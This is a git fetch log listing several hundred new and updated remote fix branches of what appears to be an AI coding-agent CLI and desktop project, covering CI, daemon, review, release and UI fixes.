* [new branch] fix/bridge-transport-failure-test -> fix/bridge-transport-failure-test
* [new branch] fix/bridge-transport-test-shape -> fix/bridge-transport-test-shape
* [new branch] fix/budget-gap-rendering-polish -> fix/budget-gap-rendering-polish
* [new branch] fix/bump-sdk-bundle-size-limit -> fix/bump-sdk-bundle-size-limit
* [new branch] fix/cancel-auto-restore -> fix/cancel-auto-restore
* [new branch] fix/cd-completion-self-dir-7318 -> fix/cd-completion-self-dir-7318
* [new branch] fix/cd-cua-driver-size-baseline -> fix/cd-cua-driver-size-baseline
* [new branch] fix/cdp-tunnel-honest-target-errors -> fix/cdp-tunnel-honest-target-errors
* [new branch] fix/ci-agent-settings-input -> fix/ci-agent-settings-input
* [new branch] fix/ci-checkout-permission-denied -> fix/ci-checkout-permission-denied
* [new branch] fix/ci-disk-floor-gate-10035 -> fix/ci-disk-floor-gate-10035
* [new branch] fix/ci-docker-daemon-lock-starvation -> fix/ci-docker-daemon-lock-starvation
* [new branch] fix/ci-idle-parse-guard-flake -> fix/ci-idle-parse-guard-flake
* [new branch] fix/ci-preinstall-disk-sampling-10035 -> fix/ci-preinstall-disk-sampling-10035
* [new branch] fix/ci-quarantine-unremovable-workspace-residue -> fix/ci-quarantine-unremovable-workspace-residue
* [new branch] fix/ci-review-qwen-cli-update -> fix/ci-review-qwen-cli-update
* [new branch] fix/ci-review-upstream-timeouts -> fix/ci-review-upstream-timeouts
* [new branch] fix/ci-unit-retry-timeout -> fix/ci-unit-retry-timeout
* [new branch] fix/classifier-tool-choice-auto-mode -> fix/classifier-tool-choice-auto-mode
* [new branch] fix/cleanup-dead-list-extensions-4456 -> fix/cleanup-dead-list-extensions-4456
* [new branch] fix/clear-retry-error-on-auto-recovery -> fix/clear-retry-error-on-auto-recovery
* [new branch] fix/clipboard-cmdv-paste -> fix/clipboard-cmdv-paste
* [new branch] fix/coerce-numeric-strings-in-schema-validator -> fix/coerce-numeric-strings-in-schema-validator
* [new branch] fix/command-root-parameter-expansion -> fix/command-root-parameter-expansion
* [new branch] fix/comment-keeps-softened-blockers -> fix/comment-keeps-softened-blockers
* [new branch] fix/compaction-threshold-min-semantics -> fix/compaction-threshold-min-semantics
* [new branch] fix/completion-tab-switch-8069 -> fix/completion-tab-switch-8069
* [new branch] fix/compose-counts-from-comments -> fix/compose-counts-from-comments
* [new branch] fix/compose-disclosure-wall -> fix/compose-disclosure-wall
* [new branch] fix/composer-tag-icons-import -> fix/composer-tag-icons-import
* [new branch] fix/config-init-join-followups -> fix/config-init-join-followups
* [new branch] fix/content-generator-test-count-tokens -> fix/content-generator-test-count-tokens
* [new branch] fix/context-size -> fix/context-size
* [new branch] fix/convergence-trim-rank -> fix/convergence-trim-rank
* [new branch] fix/coordinate-teammate-cap -> fix/coordinate-teammate-cap
* [new branch] fix/core-retry-malformed-streams-v2 -> fix/core-retry-malformed-streams-v2
* [new branch] fix/critical-only-after-five-rounds -> fix/critical-only-after-five-rounds
* [new branch] fix/cron-deterministic-test-seam -> fix/cron-deterministic-test-seam
* [new branch] fix/ctrl-shift-c-copy-8006 -> fix/ctrl-shift-c-copy-8006
* [new branch] fix/cua-driver-coord-norm -> fix/cua-driver-coord-norm
* [new branch] fix/cve-audit-endpoint-retry -> fix/cve-audit-endpoint-retry
* [new branch] fix/daemon-applymodelserviceid-publish-guard -> fix/daemon-applymodelserviceid-publish-guard
* [new branch] fix/daemon-auto-title -> fix/daemon-auto-title
* [new branch] fix/daemon-capability-tag-count -> fix/daemon-capability-tag-count
* [new branch] fix/daemon-clientid-self-heal-v2 -> fix/daemon-clientid-self-heal-v2
* [new branch] fix/daemon-dev-multi-instance-vite-port -> fix/daemon-dev-multi-instance-vite-port
* [new branch] fix/daemon-session-loader-env-leak -> fix/daemon-session-loader-env-leak
* [new branch] fix/daemon-shell-session-id -> fix/daemon-shell-session-id
* [new branch] fix/daemon-sync-followups-cleanup -> fix/daemon-sync-followups-cleanup
* [new branch] fix/dedup-approval-options -> fix/dedup-approval-options
ec30c1d2e9..f17fcfc868 fix/deepseek-anthropic-thinking -> fix/deepseek-anthropic-thinking
* [new branch] fix/deflake-cold-import-timeouts -> fix/deflake-cold-import-timeouts
* [new branch] fix/deflake-shell-registry-status-writes -> fix/deflake-shell-registry-status-writes
* [new branch] fix/deflake-supersede-salvage-margin -> fix/deflake-supersede-salvage-margin
* [new branch] fix/demo-usage-update-flood -> fix/demo-usage-update-flood
* [new branch] fix/desktop-011-review-followups -> fix/desktop-011-review-followups
* [new branch] fix/desktop-codesign-vendor-binaries -> fix/desktop-codesign-vendor-binaries
* [new branch] fix/desktop-electron-residue -> fix/desktop-electron-residue
* [new branch] fix/desktop-open-external-urls -> fix/desktop-open-external-urls
* [new branch] fix/desktop-open-remaining-external-links -> fix/desktop-open-remaining-external-links
* [new branch] fix/desktop-release-test-signing -> fix/desktop-release-test-signing
* [new branch] fix/desktop-runtime-verbatim-paths -> fix/desktop-runtime-verbatim-paths
* [new branch] fix/desktop-shell-pr-filter -> fix/desktop-shell-pr-filter
* [new branch] fix/desktop-sidebar-scrollbar-jitter -> fix/desktop-sidebar-scrollbar-jitter
* [new branch] fix/desktop-startup-workspace-ux -> fix/desktop-startup-workspace-ux
* [new branch] fix/desktop-tauri-signing-key -> fix/desktop-tauri-signing-key
* [new branch] fix/desktop-windows-hidden-runtime -> fix/desktop-windows-hidden-runtime
* [new branch] fix/dev-launcher-tests-windows-paths -> fix/dev-launcher-tests-windows-paths
* [new branch] fix/diff-whitespace-only-edits -> fix/diff-whitespace-only-edits
* [new branch] fix/dingtalk-mention-strip-regex -> fix/dingtalk-mention-strip-regex
* [new branch] fix/dingtalk-richtext-multi-image -> fix/dingtalk-richtext-multi-image
* [new branch] fix/docs-sse-ring-size-and-workflows -> fix/docs-sse-ring-size-and-workflows
* [new branch] fix/docs-webui-retirement-stale-refs -> fix/docs-webui-retirement-stale-refs
* [new branch] fix/drive-test-macos -> fix/drive-test-macos
* [new branch] fix/dup-tool-group-9420 -> fix/dup-tool-group-9420
* [new branch] fix/duplicate-gettoolregistry-telemetry-swap-mock -> fix/duplicate-gettoolregistry-telemetry-swap-mock
* [new branch] fix/duplicate-tool-call-ids -> fix/duplicate-tool-call-ids
* [new branch] fix/dws-btw-leading-mention -> fix/dws-btw-leading-mention
* [new branch] fix/dws-retry-completed-delivery -> fix/dws-retry-completed-delivery
* [new branch] fix/e2e-flaky-lane-retry -> fix/e2e-flaky-lane-retry
* [new branch] fix/e2e-hermetic-qwen-home -> fix/e2e-hermetic-qwen-home
* [new branch] fix/e2e-serve-acp-init-timeout -> fix/e2e-serve-acp-init-timeout
* [new branch] fix/ecs-fleet-install-prefix -> fix/ecs-fleet-install-prefix
* [new branch] fix/ecs-runner-resolve-budget -> fix/ecs-runner-resolve-budget
* [new branch] fix/environmentContext-test-syntax-error -> fix/environmentContext-test-syntax-error
* [new branch] fix/error-path-notification-drain -> fix/error-path-notification-drain
* [new branch] fix/event-stream-resync-required -> fix/event-stream-resync-required
* [new branch] fix/export-renderer-delegation -> fix/export-renderer-delegation
* [new branch] fix/extension-secrets-file-fallback -> fix/extension-secrets-file-fallback
* [new branch] fix/extension-store-mtime-tie -> fix/extension-store-mtime-tie
* [new branch] fix/external-context-stream-read -> fix/external-context-stream-read
* [new branch] fix/fast-model-current-auth -> fix/fast-model-current-auth
6371959e30..960ac41557 fix/fast-model-side-queries -> fix/fast-model-side-queries
* [new branch] fix/fg-fork-tool-registry-stop -> fix/fg-fork-tool-registry-stop
* [new branch] fix/fifo-blocking-dual-output -> fix/fifo-blocking-dual-output
* [new branch] fix/file-system-interactive-flaky -> fix/file-system-interactive-flaky
* [new branch] fix/filter-sgr-mouse-early-capture -> fix/filter-sgr-mouse-early-capture
* [new branch] fix/finalize-release-two-bot-approvals -> fix/finalize-release-two-bot-approvals
* [new branch] fix/first-output-benchmark-measurement-validity -> fix/first-output-benchmark-measurement-validity
* [new branch] fix/flake-gate-record-git-outside-env-i -> fix/flake-gate-record-git-outside-env-i
* [new branch] fix/flake-gate-record-head-parent -> fix/flake-gate-record-head-parent
* [new branch] fix/flaky-acp-exit-plan-mode-test -> fix/flaky-acp-exit-plan-mode-test
* [new branch] fix/flaky-interactive-read-then-write -> fix/flaky-interactive-read-then-write
* [new branch] fix/flaky-list-directory-e2e -> fix/flaky-list-directory-e2e
* [new branch] fix/flaky-release-tests -> fix/flaky-release-tests
* [new branch] fix/flaky-sticky-todo-remeasure-test -> fix/flaky-sticky-todo-remeasure-test
* [new branch] fix/flaky-tests-serve-usagestats-tasksstatus -> fix/flaky-tests-serve-usagestats-tasksstatus
* [new branch] fix/flaky-toolmessage-zh-timeout -> fix/flaky-toolmessage-zh-timeout
* [new branch] fix/follow-up-9812-review-suggestions -> fix/follow-up-9812-review-suggestions
* [new branch] fix/footer-mode-indicator-during-streaming -> fix/footer-mode-indicator-during-streaming
* [new branch] fix/footer-queued-badge -> fix/footer-queued-badge
* [new branch] fix/fullscreen-cursor-offbyone -> fix/fullscreen-cursor-offbyone
* [new branch] fix/github-channel-nested-nodemodules -> fix/github-channel-nested-nodemodules
* [new branch] fix/github-publication-contract -> fix/github-publication-contract
* [new branch] fix/gitspawn-fsmonitor-startup -> fix/gitspawn-fsmonitor-startup
* [new branch] fix/glm-dashscope-tool-less-content-drop -> fix/glm-dashscope-tool-less-content-drop
* [new branch] fix/glob-external-path-flake -> fix/glob-external-path-flake
* [new branch] fix/hard-threshold-equals-auto-4945 -> fix/hard-threshold-equals-auto-4945
* [new branch] fix/headless-parallel-tool-calls -> fix/headless-parallel-tool-calls
* [new branch] fix/heal-symlinked-workspace -> fix/heal-symlinked-workspace
* [new branch] fix/hide-streaming-thinking-preview -> fix/hide-streaming-thinking-preview
* [new branch] fix/hooks-security -> fix/hooks-security
* [new branch] fix/hooks-security-v2 -> fix/hooks-security-v2
* [new branch] fix/i18n-musttranslate-windows-timeout -> fix/i18n-musttranslate-windows-timeout
* [new branch] fix/image-build-retry-and-alert -> fix/image-build-retry-and-alert
* [new branch] fix/ink-patch-stale-7.0.3 -> fix/ink-patch-stale-7.0.3
* [new branch] fix/ink-static-node-dangling-wasm -> fix/ink-static-node-dangling-wasm
* [new branch] fix/inputprompt-enter-perfect-match -> fix/inputprompt-enter-perfect-match
* [new branch] fix/install-script-source-hint -> fix/install-script-source-hint
* [new branch] fix/integration-test-mcp-guardrails-capability -> fix/integration-test-mcp-guardrails-capability
* [new branch] fix/issue-10065-empty-core-tools -> fix/issue-10065-empty-core-tools
* [new branch] fix/issue-10069-agent-view-queued-message -> fix/issue-10069-agent-view-queued-message
* [new branch] fix/issue-10071-teammate-model-route -> fix/issue-10071-teammate-model-route
* [new branch] fix/issue-10075-decouple-allowlist -> fix/issue-10075-decouple-allowlist
* [new branch] fix/issue-10075-permissions-allow-deferred-tools -> fix/issue-10075-permissions-allow-deferred-tools
* [new branch] fix/issue-10109 -> fix/issue-10109
* [new branch] fix/issue-10148-provider-queue-flush -> fix/issue-10148-provider-queue-flush
* [new branch] fix/issue-10162-ndjson-graceful-saturation -> fix/issue-10162-ndjson-graceful-saturation
* [new branch] fix/issue-10187-skill-reinstall-atomic -> fix/issue-10187-skill-reinstall-atomic
* [new branch] fix/issue-10208 -> fix/issue-10208
* [new branch] fix/issue-10209 -> fix/issue-10209
* [new branch] fix/issue-10270-modality-detection -> fix/issue-10270-modality-detection
* [new branch] fix/issue-10322-subsumption-size-ceiling -> fix/issue-10322-subsumption-size-ceiling
* [new branch] fix/issue-10324-silent-rerun-close-exit -> fix/issue-10324-silent-rerun-close-exit
* [new branch] fix/issue-10380-model-request-413 -> fix/issue-10380-model-request-413
* [new branch] fix/issue-10385-rewind-turn-index -> fix/issue-10385-rewind-turn-index
* [new branch] fix/issue-10400-eager-prototype-key -> fix/issue-10400-eager-prototype-key
* [new branch] fix/issue-10406-connection-error-loop -> fix/issue-10406-connection-error-loop
* [new branch] fix/issue-10430 -> fix/issue-10430
* [new branch] fix/issue-10568-model-hot-reload -> fix/issue-10568-model-hot-reload
* [new branch] fix/issue-10640 -> fix/issue-10640
* [new branch] fix/issue-10693-image-wedge -> fix/issue-10693-image-wedge
* [new branch] fix/issue-10818-monitor-pulse-storm -> fix/issue-10818-monitor-pulse-storm
* [new branch] fix/issue-10887-tool-error-loop -> fix/issue-10887-tool-error-loop
* [new branch] fix/issue-10953-active-todo-reminder -> fix/issue-10953-active-todo-reminder
* [new branch] fix/issue-11045-cerebras-reasoning-content -> fix/issue-11045-cerebras-reasoning-content
* [new branch] fix/issue-11148-fullturn-cancellation -> fix/issue-11148-fullturn-cancellation
* [new branch] fix/issue-11353-exit-time-pty-release -> fix/issue-11353-exit-time-pty-release
* [new branch] fix/issue-11432-suppress-abort-toasts -> fix/issue-11432-suppress-abort-toasts
* [new branch] fix/issue-11453-sidebar-footer-overlap -> fix/issue-11453-sidebar-footer-overlap
* [new branch] fix/issue-11601-stale-reattach-wording -> fix/issue-11601-stale-reattach-wording
* [new branch] fix/issue-11666-logprompts-request-text -> fix/issue-11666-logprompts-request-text
* [new branch] fix/issue-11667-redact-debug-log-body -> fix/issue-11667-redact-debug-log-body
* [new branch] fix/issue-5823-session-start-cron-notice -> fix/issue-5823-session-start-cron-notice
* [new branch] fix/issue-6094-qqbot-cron-blockstreaming -> fix/issue-6094-qqbot-cron-blockstreaming
* [new branch] fix/issue-7029-extension-store-baseline -> fix/issue-7029-extension-store-baseline
* [new branch] fix/issue-8138-worktree-settings-target-dir -> fix/issue-8138-worktree-settings-target-dir
* [new branch] fix/issue-8172-teammate-round-boundary -> fix/issue-8172-teammate-round-boundary
* [new branch] fix/issue-8582-shell-classifier -> fix/issue-8582-shell-classifier
* [new branch] fix/issue-8592-language-scope-flags -> fix/issue-8592-language-scope-flags
* [new branch] fix/issue-8617-model-selector-overlay -> fix/issue-8617-model-selector-overlay
* [new branch] fix/issue-8766-extension-test-race -> fix/issue-8766-extension-test-race
* [new branch] fix/issue-8897-help-output -> fix/issue-8897-help-output
* [new branch] fix/issue-8993-git-prerequisite -> fix/issue-8993-git-prerequisite
* [new branch] fix/issue-9005 -> fix/issue-9005
* [new branch] fix/issue-9309-compress-banner-scale -> fix/issue-9309-compress-banner-scale
* [new branch] fix/issue-9348-thinking-tag-leak -> fix/issue-9348-thinking-tag-leak
* [new branch] fix/issue-9453-cross-wire-signature -> fix/issue-9453-cross-wire-signature
* [new branch] fix/issue-9465-pin-sidebar -> fix/issue-9465-pin-sidebar
* [new branch] fix/issue-9485-web-shell-clipboard-fallback -> fix/issue-9485-web-shell-clipboard-fallback
* [new branch] fix/issue-9487-loading-indicators -> fix/issue-9487-loading-indicators
* [new branch] fix/issue-9529-session-token-route-scope -> fix/issue-9529-session-token-route-scope
* [new branch] fix/issue-9571-tool-approval-focus-grab -> fix/issue-9571-tool-approval-focus-grab
* [new branch] fix/issue-9656-thinking-loop-detection -> fix/issue-9656-thinking-loop-detection
* [new branch] fix/issue-9713-i18n-unset -> fix/issue-9713-i18n-unset
* [new branch] fix/issue-9752-rewrite-promptfile-eisdir -> fix/issue-9752-rewrite-promptfile-eisdir
* [new branch] fix/issue-9903 -> fix/issue-9903
* [new branch] fix/issue-9944 -> fix/issue-9944
* [new branch] fix/issue-followup-bot-newlines -> fix/issue-followup-bot-newlines
* [new branch] fix/java-daemon-teardown-flaky -> fix/java-daemon-teardown-flaky
* [new branch] fix/kimi-k3-token-limits -> fix/kimi-k3-token-limits
* [new branch] fix/leaked-analysis-summary-tags-main -> fix/leaked-analysis-summary-tags-main
* [new branch] fix/live-host-recovery -> fix/live-host-recovery
* [new branch] fix/local-control-followups -> fix/local-control-followups
* [new branch] fix/local-files-trust-gate-gaps -> fix/local-files-trust-gate-gaps
* [new branch] fix/lockfile-oncompromised -> fix/lockfile-oncompromised
* [new branch] fix/long-turn-backward-pagination -> fix/long-turn-backward-pagination
* [new branch] fix/loop_task_ext_unselectable -> fix/loop_task_ext_unselectable
* [new branch] fix/mac-paste-image-shortcut-8118 -> fix/mac-paste-image-shortcut-8118
* [new branch] fix/main-boot-test-mock -> fix/main-boot-test-mock
* [new branch] fix/main-ci-11002 -> fix/main-ci-11002
* [new branch] fix/main-ts1117-duplicate-props -> fix/main-ts1117-duplicate-props
* [new branch] fix/markdown-table-review-followups -> fix/markdown-table-review-followups
* [new branch] fix/max-tokens-window-clamp -> fix/max-tokens-window-clamp
* [new branch] fix/mcp-prompt-optional-completion-7991 -> fix/mcp-prompt-optional-completion-7991
* [new branch] fix/mcp-prompt-positional-args-7314 -> fix/mcp-prompt-positional-args-7314
* [new branch] fix/mcp-reconnect-test-safe-replay -> fix/mcp-reconnect-test-safe-replay
* [new branch] fix/mcp-unsafe-replay -> fix/mcp-unsafe-replay
* [new branch] fix/memory-managed-path-symlink -> fix/memory-managed-path-symlink
* [new branch] fix/mid-turn-message-reconciliation -> fix/mid-turn-message-reconciliation
* [new branch] fix/mid-turn-vision-bridge-timeout -> fix/mid-turn-vision-bridge-timeout
* [new branch] fix/mobile-mcp-cd-lint -> fix/mobile-mcp-cd-lint
* [new branch] fix/mobile-mcp-cd-npm-scope -> fix/mobile-mcp-cd-npm-scope
* [new branch] fix/mobile-mcp-independent-version -> fix/mobile-mcp-independent-version
* [new branch] fix/monitor-owner-routing -> fix/monitor-owner-routing
* [new branch] fix/narrow-terminal-rendering -> fix/narrow-terminal-rendering
* [new branch] fix/ndjson-queue-diagnostics -> fix/ndjson-queue-diagnostics
* [new branch] fix/new-session-suggestion-parse-fallback -> fix/new-session-suggestion-parse-fallback
* [new branch] fix/no-ak-vitest-worker-timeout -> fix/no-ak-vitest-worker-timeout
* [new branch] fix/non-primary-session-model-approval -> fix/non-primary-session-model-approval
* [new branch] fix/notebook-edit-tab-indent-tests -> fix/notebook-edit-tab-indent-tests
* [new branch] fix/notices-duplicate-package-versions -> fix/notices-duplicate-package-versions
* [new branch] fix/notices-exclude-workspace-packages -> fix/notices-exclude-workspace-packages
* [new branch] fix/notices-fast-uri-bump -> fix/notices-fast-uri-bump
* [new branch] fix/notices-lf-line-endings -> fix/notices-lf-line-endings
* [new branch] fix/npm-update-no-standalone-migration -> fix/npm-update-no-standalone-migration
* [new branch] fix/oom-resume-full-history-clone -> fix/oom-resume-full-history-clone
* [new branch] fix/openai-cumulative-delta-normalize -> fix/openai-cumulative-delta-normalize
* [new branch] fix/opentui-e2e-leg -> fix/opentui-e2e-leg
* [new branch] fix/opentui-interactive-e2e-gaps -> fix/opentui-interactive-e2e-gaps
* [new branch] fix/opentui-musl-bundle -> fix/opentui-musl-bundle
* [new branch] fix/opentui-output-style-preselect -> fix/opentui-output-style-preselect
* [new branch] fix/opentui-output-style-registry -> fix/opentui-output-style-registry
* [new branch] fix/opentui-parity-defects -> fix/opentui-parity-defects
* [new branch] fix/packaging-check-permissions -> fix/packaging-check-permissions
* [new branch] fix/patrol-rollup-504 -> fix/patrol-rollup-504
* [new branch] fix/pending-question-reload -> fix/pending-question-reload
* [new branch] fix/plan-mode-exit-7671 -> fix/plan-mode-exit-7671
* [new branch] fix/plan-mode-mid-turn-guidance -> fix/plan-mode-mid-turn-guidance
* [new branch] fix/plugin-page-button-text -> fix/plugin-page-button-text
* [new branch] fix/port-heal-guard-to-siblings -> fix/port-heal-guard-to-siblings
* [new branch] fix/pr-precheck-comment-list-get -> fix/pr-precheck-comment-list-get
* [new branch] fix/pr-review-always-skip -> fix/pr-review-always-skip
* [new branch] fix/pr-review-detect-aborted-run -> fix/pr-review-detect-aborted-run
* [new branch] fix/pr-review-proxy-bypass -> fix/pr-review-proxy-bypass
* [new branch] fix/pr-review-supersede-race -> fix/pr-review-supersede-race
* [new branch] fix/precheck-rest-comment-create -> fix/precheck-rest-comment-create
* [new branch] fix/preflight-auth-false-warning -> fix/preflight-auth-false-warning
* [new branch] fix/presubmit-superseded-runs -> fix/presubmit-superseded-runs
* [new branch] fix/prettier-anthropic-sse-test -> fix/prettier-anthropic-sse-test
* [new branch] fix/preview-version-bump-past-stable -> fix/preview-version-bump-past-stable
* [new branch] fix/prior-read-accept-partial -> fix/prior-read-accept-partial
* [new branch] fix/provider-generation-config-warning -> fix/provider-generation-config-warning
* [new branch] fix/provider-update-model-overwrite -> fix/provider-update-model-overwrite
* [new branch] fix/provider-update-version-mismatch -> fix/provider-update-version-mismatch
* [new branch] fix/provider-version-template-hash -> fix/provider-version-template-hash
* [new branch] fix/publish-all-channels -> fix/publish-all-channels
* [new branch] fix/quarantine-mem0-e2e -> fix/quarantine-mem0-e2e
* [new branch] fix/qwen3.8-max-image-modality -> fix/qwen3.8-max-image-modality
* [new branch] fix/qwen37-plus-multimodal -> fix/qwen37-plus-multimodal
* [new branch] fix/reasoning-tokens-estimation -> fix/reasoning-tokens-estimation
* [new branch] fix/receipts-cause-dedup -> fix/receipts-cause-dedup
* [new branch] fix/release-build-force-clean -> fix/release-build-force-clean
* [new branch] fix/release-channel-base-prerelease-pin -> fix/release-channel-base-prerelease-pin
* [new branch] fix/release-dws-publish -> fix/release-dws-publish
* [new branch] fix/release-ecs-runners -> fix/release-ecs-runners
* [new branch] fix/release-failure-autofix -> fix/release-failure-autofix
* [new branch] fix/release-guard-any-exception-header -> fix/release-guard-any-exception-header
* [new branch] fix/release-integration-v5 -> fix/release-integration-v5
* [new branch] fix/release-notes-anchor-tag -> fix/release-notes-anchor-tag
* [new branch] fix/release-notes-review-followup-7535 -> fix/release-notes-review-followup-7535
* [new branch] fix/release-notes-slim-model-prompt -> fix/release-notes-slim-model-prompt
* [new branch] fix/release-notes-timeout -> fix/release-notes-timeout
* [new branch] fix/release-package-size-budget -> fix/release-package-size-budget
* [new branch] fix/release-pr-author -> fix/release-pr-author
* [new branch] fix/release-pr-ci-trigger -> fix/release-pr-ci-trigger
* [new branch] fix/release-report-silent-nonzero-exit -> fix/release-report-silent-nonzero-exit
* [new branch] fix/release-version-bump-stale-workspace-copies -> fix/release-version-bump-stale-workspace-copies
* [new branch] fix/remove-env-from-readonly-allowlist -> fix/remove-env-from-readonly-allowlist
* [new branch] fix/remove-openclaw-submodule -> fix/remove-openclaw-submodule
* [new branch] fix/replace-ambiguous-width-star -> fix/replace-ambiguous-width-star
* [new branch] fix/report-findings-alias -> fix/report-findings-alias
* [new branch] fix/resize-scroll-storm-8004 -> fix/resize-scroll-storm-8004
* [new branch] fix/resize-static-repaint -> fix/resize-static-repaint
* [new branch] fix/resolve-health -> fix/resolve-health
* [new branch] fix/resolve-recover-more-requests -> fix/resolve-recover-more-requests
* [new branch] fix/resolve-restore-no-sandbox -> fix/resolve-restore-no-sandbox
* [new branch] fix/resolve-workflow-timeout-test -> fix/resolve-workflow-timeout-test
* [new branch] fix/restore-request-shape-coalescing -> fix/restore-request-shape-coalescing
* [new branch] fix/restore-saved-model-ids -> fix/restore-saved-model-ids
* [new branch] fix/retry-statusless-upstream-error -> fix/retry-statusless-upstream-error
* [new branch] fix/review-ack-comment-render -> fix/review-ack-comment-render
* [new branch] fix/review-aone-cleanup-bypass-audit -> fix/review-aone-cleanup-bypass-audit
* [new branch] fix/review-aone-dedup-backing -> fix/review-aone-dedup-backing
* [new branch] fix/review-aone-incremental-ancestry -> fix/review-aone-incremental-ancestry
* [new branch] fix/review-aone-residuals-9619 -> fix/review-aone-residuals-9619
* [new branch] fix/review-base-tree-reuse-fence -> fix/review-base-tree-reuse-fence
* [new branch] fix/review-body-budget -> fix/review-body-budget
* [new branch] fix/review-body-readability -> fix/review-body-readability
* [new branch] fix/review-cleanup-audit-warning -> fix/review-cleanup-audit-warning
* [new branch] fix/review-cleanup-permission-repair -> fix/review-cleanup-permission-repair
* [new branch] fix/review-command-newline-match -> fix/review-command-newline-match
* [new branch] fix/review-comments-4097 -> fix/review-comments-4097
* [new branch] fix/review-compose-duplicate-suggestions-field -> fix/review-compose-duplicate-suggestions-field
* [new branch] fix/review-context-drop-e2e-related-paths -> fix/review-context-drop-e2e-related-paths
* [new branch] fix/review-context-relatedpaths-bound -> fix/review-context-relatedpaths-bound
* [new branch] fix/review-count-fix-induced-as-first-time -> fix/review-count-fix-induced-as-first-time
* [new branch] fix/review-deferred-backlog -> fix/review-deferred-backlog
* [new branch] fix/review-fallback-false-failure -> fix/review-fallback-false-failure
* [new branch] fix/review-fallback-superseded-cancel -> fix/review-fallback-superseded-cancel
* [new branch] fix/review-filter-screen-test-efficacy -> fix/review-filter-screen-test-efficacy
* [new branch] fix/review-filter-screen-v2 -> fix/review-filter-screen-v2
* [new branch] fix/review-filter-screen-v3 -> fix/review-filter-screen-v3
* [new branch] fix/review-footer-strip-quoted-code -> fix/review-footer-strip-quoted-code
* [new branch] fix/review-host-state-out-of-mount -> fix/review-host-state-out-of-mount
* [new branch] fix/review-live-run-defects -> fix/review-live-run-defects
* [new branch] fix/review-live-run-hardening -> fix/review-live-run-hardening
* [new branch] fix/review-maven-generated-test-sources -> fix/review-maven-generated-test-sources
* [new branch] fix/review-mutant-collocated-guard -> fix/review-mutant-collocated-guard
* [new branch] fix/review-mutation-witness-discipline -> fix/review-mutation-witness-discipline
* [new branch] fix/review-p2-followups -> fix/review-p2-followups
* [new branch] fix/review-pin-git-identity -> fix/review-pin-git-identity
* [new branch] fix/review-pin-identity-v2 -> fix/review-pin-identity-v2
* [new branch] fix/review-probe-root-identity -> fix/review-probe-root-identity
* [new branch] fix/review-proxy-bin-collision -> fix/review-proxy-bin-collision
* [new branch] fix/review-quota-false-positive -> fix/review-quota-false-positive
* [new branch] fix/review-retry-budget -> fix/review-retry-budget
* [new branch] fix/review-roundcap-marker-lifecycle -> fix/review-roundcap-marker-lifecycle
* [new branch] fix/review-run-cli-env-skew -> fix/review-run-cli-env-skew
* [new branch] fix/review-run-separators-target -> fix/review-run-separators-target
* [new branch] fix/review-sandbox-image-default -> fix/review-sandbox-image-default
* [new branch] fix/review-stop-commands -> fix/review-stop-commands
* [new branch] fix/review-stop-composed-verdict-v2 -> fix/review-stop-composed-verdict-v2
* [new branch] fix/review-telemetry-followups -> fix/review-telemetry-followups
* [new branch] fix/review-verification-gap-precision -> fix/review-verification-gap-precision
* [new branch] fix/review-verifier-scratch-tree -> fix/review-verifier-scratch-tree
* [new branch] fix/review-verify-audit-briefs -> fix/review-verify-audit-briefs
* [new branch] fix/review-workflow-expression-limit -> fix/review-workflow-expression-limit
* [new branch] fix/review-workflow-timeout-test -> fix/review-workflow-timeout-test
* [new branch] fix/revive-platform-lanes -> fix/revive-platform-lanes
* [new branch] fix/rewind-mid-turn-message-count -> fix/rewind-mid-turn-message-count
* [new branch] fix/rewind-selector-test-props -> fix/rewind-selector-test-props
* [new branch] fix/rewind-trackedit-toctou-and-failed-guard -> fix/rewind-trackedit-toctou-and-failed-guard
* [new branch] fix/run-ledger-collection-stamp -> fix/run-ledger-collection-stamp
* [new branch] fix/run-ledger-root-skip -> fix/run-ledger-root-skip
* [new branch] fix/runner-workspace-eacces -> fix/runner-workspace-eacces
* [new branch] fix/runner-workspace-ownership -> fix/runner-workspace-ownership
* [new branch] fix/runtime-fetch-options-security-improvements -> fix/runtime-fetch-options-security-improvements
* [new branch] fix/sandbox-command-shell-injection -> fix/sandbox-command-shell-injection
* [new branch] fix/sandbox-name-race -> fix/sandbox-name-race
* [new branch] fix/scripts-suite-timeout-ceiling -> fix/scripts-suite-timeout-ceiling
* [new branch] fix/sdk-browser-bundle-budget-191kb -> fix/sdk-browser-bundle-budget-191kb
* [new branch] fix/sdk-daemon-bundle-budget -> fix/sdk-daemon-bundle-budget
* [new branch] fix/sdk-e2e-runner-isolation -> fix/sdk-e2e-runner-isolation
* [new branch] fix/sdk-java-empty-response-keepalive-flake -> fix/sdk-java-empty-response-keepalive-flake
* [new branch] fix/sdk-serve-mcp-bin-double-shebang -> fix/sdk-serve-mcp-bin-double-shebang
* [new branch] fix/secondary-session-actions -> fix/secondary-session-actions
* [new branch] fix/self-report-label-rest -> fix/self-report-label-rest
* [new branch] fix/serve-ab-narrow-self-hosted-wipe -> fix/serve-ab-narrow-self-hosted-wipe
* [new branch] fix/serve-auth-device-flow-followup -> fix/serve-auth-device-flow-followup
* [new branch] fix/serve-bootstrap-native-directory-picker -> fix/serve-bootstrap-native-directory-picker
* [new branch] fix/serve-caps-daemon-status -> fix/serve-caps-daemon-status
* [new branch] fix/serve-conversations-runtime-workspace-limit -> fix/serve-conversations-runtime-workspace-limit
* [new branch] fix/serve-e2e-mcp-events-clientcount -> fix/serve-e2e-mcp-events-clientcount
* [new branch] fix/serve-fast-path-acp-runtime -> fix/serve-fast-path-acp-runtime
* [new branch] fix/serve-integration-test-mirror -> fix/serve-integration-test-mirror
* [new branch] fix/serve-routes-docker-boot-timeout -> fix/serve-routes-docker-boot-timeout
* [new branch] fix/serve-routes-docker-flake -> fix/serve-routes-docker-flake
* [new branch] fix/serve-routes-strip-sandbox -> fix/serve-routes-strip-sandbox
* [new branch] fix/serve-session-service-import -> fix/serve-session-service-import
* [new branch] fix/serve-test-build -> fix/serve-test-build
* [new branch] fix/serve-workspace-file-read-windows-sep -> fix/serve-workspace-file-read-windows-sep
* [new branch] fix/session-archive-mock -> fix/session-archive-mock
* [new branch] fix/session-init-timeout-contract -> fix/session-init-timeout-contract
* [new branch] fix/session-jsonl-diff-bloat -> fix/session-jsonl-diff-bloat
* [new branch] fix/session-overview-cross-workspace-cwd -> fix/session-overview-cross-workspace-cwd
* [new branch] fix/session-start-inject -> fix/session-start-inject
* [new branch] fix/sharp-0.35-bump -> fix/sharp-0.35-bump
* [new branch] fix/shell-promote-followup-review-notes -> fix/shell-promote-followup-review-notes
* [new branch] fix/shell-registry-fixed-tmp-sidecar-path -> fix/shell-registry-fixed-tmp-sidecar-path
